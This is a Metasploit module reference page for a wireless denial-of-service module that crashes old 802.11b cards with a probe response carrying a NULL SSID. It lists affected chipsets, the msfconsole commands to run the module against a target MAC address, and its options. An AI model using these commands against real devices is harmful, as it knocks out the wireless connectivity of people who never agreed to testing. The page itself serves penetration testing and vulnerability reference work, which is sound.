Multiple Wireless Vendor NULL SSID Probe Response
This module exploits a firmware-level vulnerability in a variety of 802.11b devices. This attack works by sending a probe response frame containing a NULL SSID information element to an affected device. This flaw affects many cards based on the Choice MAC (Intersil, Lucent, Agere, Orinoco, and the first generation of Airport cards).
Rank
- Normal
Authors
- hdm < hdm [at] metasploit.com >
Vulnerability References
Development
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Usage Information
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msf > use auxiliary/dos/wifi/probe_resp_null_ssid
msf auxiliary(probe_resp_null_ssid) > set ADDR_DST [STRING]
msf auxiliary(probe_resp_null_ssid) > run
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msf > use auxiliary/dos/wifi/probe_resp_null_ssid
msf auxiliary(probe_resp_null_ssid) > set ADDR_DST [STRING]
msf auxiliary(probe_resp_null_ssid) > run
Module Options
| ADDR_DST | The MAC address of the target system |
| CHANNEL | The initial channel (default: 11) |
| COUNT | The number of frames to send (default: 2000) |
| DRIVER | The name of the wireless driver for lorcon (default: autodetect) |
| INTERFACE | The name of the wireless interface (default: wlan0) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
